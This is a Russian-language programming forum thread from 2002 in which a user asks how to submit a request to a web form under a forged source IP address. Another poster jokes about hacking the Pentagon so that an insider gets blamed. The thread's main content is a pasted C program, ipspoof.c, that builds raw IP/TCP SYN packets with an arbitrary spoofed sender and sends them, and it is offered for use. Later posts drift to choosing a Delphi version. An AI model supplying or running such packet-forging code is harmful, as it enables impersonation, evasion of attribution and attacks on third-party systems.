
![]() |
Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
|
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[18.97.9.171] |
![]() |
|
Сообщ.
#1
,
|
|
|
Можно самостоятельно указывать в пакете IP-адрес получателя и отправителя, порт назначения и т.д А как послать запрос в cgi форму с подмененным ip.
|
![]() |
Сообщ.
#2
,
|
|
А чем не устраивает отправить через левую проксю ? Объясни, зачем тебе понадобился этот геморрой ?
|
Сообщ.
#3
,
|
|
|
4to ne ponjatno 4toli lomat' kakojnibud' sajt naprimer pentegon i tak 4to by oni dumali 4to ih lomaet ih zhe sotrudnik kotorij sdit v tom zhe sdanii ;D
|
Сообщ.
#4
,
|
|
|
Цитата javas, 08.08.02, 11:38:16 Можно самостоятельно указывать в пакете IP-адрес получателя и отправителя, порт назначения и т.д А как послать запрос в cgi форму с подмененным ip. Вот тут это есть http://www.sources.ru/delphi/delphi_send_r...p_packets.shtml |
Сообщ.
#5
,
|
|
|
Да, про Пентагон это верно! Но есть какая-то форма, анкета...http://www...form.cgi.
Необходимо послать запрос http://www..form.cgi?m=lalala&t=mamama с такого-то ip. А про страничку я знаю, но там только ip и порты. |
Сообщ.
#6
,
|
|
|
Цитата javas, 08.08.02, 19:42:27 Но есть какая-то форма, анкета...http://www...form.cgi. Необходимо послать запрос http://www..form.cgi?m=lalala&t=mamama с такого-то ip. А про страничку я знаю, но там только ip и порты. Имхо с поммощью CGI ты этого сделать не сможешь, т.к. CGI базируется на TCP/IP/, а тебе же нужно сырые IP-пакеты отправлять. |
Сообщ.
#7
,
|
|
|
Что значит СЫРЫЕ?
|
Сообщ.
#8
,
|
|
|
Цитата javas, 09.08.02, 15:37:01 Сырые == RAW, сам же спрашивал Что значит СЫРЫЕ? ![]() |
Сообщ.
#9
,
|
|
|
Как же тогда происходит ip-sp@@fing!?
|
Сообщ.
#10
,
|
|
|
Цитата javas, 11.08.02, 11:04:56 Как же тогда происходит ip-sp@@fing!? Я уже как-то указывал в этом разделе ссылку на хорошую статью про безопасность. Как вводный материал - очень хороша. Там и про спуффинг есть чуток. Почитай ее - http://www.citforum.ru/internet/securities/tcpip.shtml |
Сообщ.
#11
,
|
|
|
Благородно, спасибо и за это!
|
Сообщ.
#12
,
|
|
|
Цитата javas, 11.08.02, 23:34:34 Благородно, спасибо и за это! Сарказм принимается. ![]() Можно, конечно и использовать тип сокетов SOСK_RAW (как в приведенном ниже примере), но, не факт что получится. Все зависит от реализации сокетов, тип SOCK_RAW вроде бы опционален: ![]() ![]() <br>WSAESOCKTNOSUPPORT<br><br>(10044)<br><br>Socket type not supported. <br><br>The support for the specified socket type does not exist in this address family. For example, the >>>> optional type SOCK_RAW <<<<< might be selected in a socket call, and the implementation does not support SOCK_RAW sockets at all.<br> ipspoof.c: ![]() ![]() <br>#include <sys/types.h><br>#include <sys/socket.h><br>#include <netinet/in_systm.h><br>#include <netinet/in.h><br>#include <netinet/ip.h><br>#include <netinet/tcp.h><br>#include <netinet/ip_icmp.h><br>#include <netdb.h><br><br>unsigned short ip_cksum(unsigned char * buff, int len)<br>{<br> unsigned long sum = 0;<br> if (len > 3)<br> {<br> __asm__("clc\n"<br> "1:\t"<br> "lodsl\n\t"<br> "adcl \%\%eax, \%\%ebx\n\t"<br> "loop 1b\n\t"<br> "adcl $0, \%\%ebx\n\t"<br> "movl \%\%ebx, \%\%eax\n\t"<br> "shrl $16, \%\%eax\n\t"<br> "addw \%\%ax, \%\%bx\n\t"<br> "adcw $0, \%\%bx"<br> : "=b" (sum) , "=S" (buff)<br> : "0" (sum), "c" (len >> 2) ,"1" (buff)<br> : "ax", "cx", "si", "bx" );<br> }<br> if (len & 2)<br> {<br> __asm__("lodsw\n\t"<br> "addw \%\%ax, \%\%bx\n\t"<br> "adcw $0, \%\%bx"<br> : "=b" (sum), "=S" (buff)<br> : "0" (sum), "1" (buff)<br> : "bx", "ax", "si");<br> }<br> if (len & 1)<br> {<br> __asm__("lodsb\n\t"<br> "movb $0, \%\%ah\n\t"<br> "addw \%\%ax, \%\%bx\n\t"<br> "adcw $0, \%\%bx"<br> : "=b" (sum), "=S" (buff)<br> : "0" (sum), "1" (buff)<br> : "bx", "ax", "si");<br> }<br> sum =~sum;<br> return(sum & 0xffff);<br>}<br><br>unsigned short tcp_check(struct tcphdr *th, int len,<br> unsigned long saddr, unsigned long daddr)<br>{<br> unsigned long sum;<br> __asm__("<br> addl \%\%ecx, \%\%ebx<br> adcl \%\%edx, \%\%ebx<br> adcl $0, \%\%ebx<br> "<br> : "=b"(sum)<br> : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)<br> : "bx", "cx", "dx" );<br> __asm__("<br> movl \%\%ecx, \%\%edx<br> cld<br> cmpl $32, \%\%ecx<br> jb 2f<br> shrl $5, \%\%ecx<br> clc<br>1: lodsl<br> adcl \%\%eax, \%\%ebx<br> lodsl<br> adcl \%\%eax, \%\%ebx<br> lodsl<br> adcl \%\%eax, \%\%ebx<br> lodsl<br> adcl \%\%eax, \%\%ebx<br> lodsl<br> adcl \%\%eax, \%\%ebx<br> lodsl<br> adcl \%\%eax, \%\%ebx<br> lodsl<br> adcl \%\%eax, \%\%ebx<br> lodsl<br> adcl \%\%eax, \%\%ebx<br> loop 1b<br> adcl $0, \%\%ebx<br> movl \%\%edx, \%\%ecx<br>2: andl $28, \%\%ecx<br> je 4f<br> shrl $2, \%\%ecx<br> clc<br>3: lodsl<br> adcl \%\%eax, \%\%ebx<br> loop 3b<br> adcl $0, \%\%ebx<br>4: movl $0, \%\%eax<br> testw $2, \%\%dx<br> je 5f<br> lodsw<br> addl \%\%eax, \%\%ebx<br> adcl $0, \%\%ebx<br> movw $0, \%\%ax<br>5: test $1, \%\%edx<br> je 6f<br> lodsb<br> addl \%\%eax, \%\%ebx<br> adcl $0, \%\%ebx<br>6: movl \%\%ebx, \%\%eax<br> shrl $16, \%\%eax<br> addw \%\%ax, \%\%bx<br> adcw $0, \%\%bx<br> "<br> : "=b"(sum)<br> : "0"(sum), "c"(len), "S"(th)<br> : "ax", "bx", "cx", "dx", "si" );<br><br> /* We only want the bottom 16 bits, but we never cleared the top 16. */<br><br> return((~sum) & 0xffff);<br>}<br><br>void resolve_address(struct sockaddr *addr, char *hostname, u_short port) {<br>struct sockaddr_in *address;<br>struct hostent *host;<br><br>address = (struct sockaddr_in *)addr;<br>(void) bzero((char *)address, sizeof(struct sockaddr_in));<br>address->sin_family = AF_INET;<br>address->sin_port = htons(port);<br>address->sin_addr.s_addr = inet_addr(hostname);<br>if ((int)address->sin_addr.s_addr == -1) {<br> host = gethostbyname(hostname);<br> if (host) {<br> bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length);<br> }<br> else {<br> puts("Couldn't resolve address!!!");<br> exit(-1);<br> }<br> }<br>}<br><br>char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl, <br> u_short id, char *data, int data_len)<br>{<br> char *ip_datagram;<br> struct iphdr *ip_header; <br> ip_datagram = malloc(sizeof(struct iphdr) + data_len);<br> ip_header = ip_datagram;<br> ip_header->version = 4;<br> ip_header->tos = 0;<br> ip_header->frag_off = 0;<br> ip_header->check = 0;<br> ip_header->saddr = source;<br> ip_header->daddr = dest;<br> ip_header->protocol = protocol;<br> ip_header->ttl = ttl;<br> ip_header->id = htons(id);<br> ip_header->ihl = 5;<br> ip_header->tot_len = htons(sizeof(struct iphdr) + data_len); <br> ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr)));<br> bcopy(data,ip_datagram+sizeof(struct iphdr),data_len);<br> return ip_datagram;<br>}<br><br>char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport, <br> u_long seqnum, u_long acknum, u_char flags, char *data, int datalen) <br>{<br> char *wewt;<br> struct tcphdr *tcp_header;<br> wewt = malloc(sizeof(struct tcphdr) + datalen);<br> tcp_header = wewt;<br> tcp_header->th_sport = sport;<br> tcp_header->th_dport = dport;<br> tcp_header->th_seq = seqnum;<br> tcp_header->th_ack = acknum;<br> tcp_header->th_flags = flags;<br> tcp_header->th_sum = 0;<br> tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr), <br> source, dest));<br> bcopy(data,wewt+sizeof(struct tcphdr),datalen);<br> return wewt;<br>}<br><br>void sendpack(char *fromhost, int fromport, char *tohost, int toport) {<br> char *packet;<br> char *tcppacket;<br> char *sendme;<br> static struct sockaddr_in local, remote;<br> static int sock = 0;<br> if (!sock) {<br> resolve_address((struct sockaddr *)&local, fromhost, fromport);<br> resolve_address((struct sockaddr *)&remote, tohost, toport);<br> sock = socket(AF_INET, SOCK_RAW, 255);<br> if (sock == -1) { perror("Getting raw socket"); exit(-1); }<br> }<br> tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr, <br> local.sin_port, remote.sin_port, 795930600, 0, TH_SYN,<br> NULL, 0);<br> packet = create_ip(&local.sin_addr, &remote.sin_addr,<br> 6, 24, 4, NULL, 0);<br> sendme = (struct iphdr *)packet;<br> bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket));<br> printf("the ip header is \%d bytes long.\n", sizeof(struct iphdr));<br> printf("the tcp header is \%d bytes long.\n", sizeof(struct tcphdr));<br> printf("the ip packet is \%d bytes long.\n", sizeof(packet));<br> printf("the tcp packet is \%d bytes long.\n", sizeof(tcppacket));<br> printf("the final packet is \%d bytes long.\n", sizeof(sendme));<br> {<br> int result;<br><br> result = sendto(sock, packet, sizeof(packet), 0,<br> (struct sockaddr *)&remote, sizeof(remote));<br> if (result != sizeof(packet)) { perror("sending packet"); }<br> }<br>}<br><br>main(int argc, char **argv) {<br>if (argc!=5) {<br> printf("usage: \%s <from host> <from port> <to host> <to port>\n", argv[0]);<br> exit(-1);<br>}<br> printf("forging packet from \%s.\%d to \%s.\%d\n", argv[1], atoi(argv[2]), <br> argv[3], atoi(argv[4]));<br> sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));<br>}<br> |
Сообщ.
#13
,
|
|
|
Почему на C, нельзя ли в рамках форума как бы перевести на более понятный язык ~ Delphi.
|
Сообщ.
#14
,
|
|
|
Цитата javas, 15.08.02, 06:30:15 Почему на C, нельзя ли в рамках форума как бы перевести на более понятный язык ~ Delphi. Почему на Ц? Ну так автор захотел, он наверное не любит Дельфи. А начсет перевода этого на Дельфи... : ![]() |
Сообщ.
#15
,
|
|
|
Ясно. :'(
|
Сообщ.
#16
,
|
|
|
Вообще перевести не проблема, но мудорно... :(
|
Сообщ.
#17
,
|
|
|
вы не хотите, чтобы это досталось, так сказать, новичкам, тогда в чем суть форума, хотя вопрос не из чистейших.... :-/
|
Сообщ.
#18
,
|
|
|
Суть форума - намекнуть, подсказать, наставить на путь истинный, но никак не всё сделать за Вас. Здесь дело не только в синтаксисе. Если бы только синтаксис, то тут не сложно. Дело в том, что Дельфи немного отличается от С по своей структуре и работе хотя две среды идентичные.
|
Сообщ.
#19
,
|
|
|
Стоял у меня windows 98se, а на нем Delphi 5.5, но windows ушел и Delphi тоже отправился в синие дали. Диск был не мой, и его уже нет. Теперь выбор: что купить Delphi 6 или С++ 6?
|
Сообщ.
#20
,
|
|
|
Это смотря на чём программить умеешь...
|
Сообщ.
#21
,
|
|
|
Ну, тогда, Delphi 6.0 а под win xp этот же Delphi или другая версия есть.
|
Сообщ.
#22
,
|
|
|
Цитата javas, 19.08.02, 06:34:09 Ну, тогда, Delphi 6.0 а под win xp этот же Delphi или другая версия есть. Специальной версии ни для XP, ни для w2k, ни для прочих форточек Борланд не выпускает. Они все 9x/Me/NT/2000/XP. ИМХО про выбор компайлера и среды разработки лучше создать отдельный топик во Флэйме, например. Там более активно начнут советовать ![]() |